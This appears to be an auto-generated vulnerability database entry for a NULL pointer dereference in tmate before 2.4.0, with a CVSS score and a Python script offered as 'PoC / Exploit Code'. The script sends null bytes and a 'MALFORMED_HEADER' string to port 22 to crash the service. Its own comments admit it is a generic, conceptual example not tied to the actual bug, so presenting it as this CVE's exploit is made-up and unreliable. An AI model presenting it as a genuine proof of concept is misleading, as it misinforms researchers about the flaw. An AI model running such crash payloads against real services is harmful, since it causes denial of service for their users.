NULL Pointer Dereference vulnerability in tmate-io tmate.This issue affects tmate: before 2.4.0.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Configurations (Affected Products)
No configuration data available.
tmate < 2.4.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
import sys
# Target configuration
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 22 # tmate typically uses SSH port
def send_malformed_packet():
"""
Conceptual PoC for triggering Null Pointer Dereference.
Sends a crafted packet to the target service.
"""
try:
# Establish TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((TARGET_HOST, TARGET_PORT))
print(f"[+] Connected to {TARGET_HOST}:{TARGET_PORT}")
# Construct a payload designed to hit the null pointer logic
# Note: This is a generic example. Specific offset/bytes depend on the vulnerability.
# Sending a sequence of null bytes or malformed protocol headers.
payload = b"\x00" * 100 + b"MALFORMED_HEADER"
s.send(payload)
print("[+] Malformed payload sent.")
# Attempt to read response (if any) to confirm crash or hang
response = s.recv(1024)
print("[+] Received response (might indicate failure to crash)")
s.close()
except ConnectionResetError:
print("[!] Connection reset by peer. Possible crash.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
send_malformed_packet()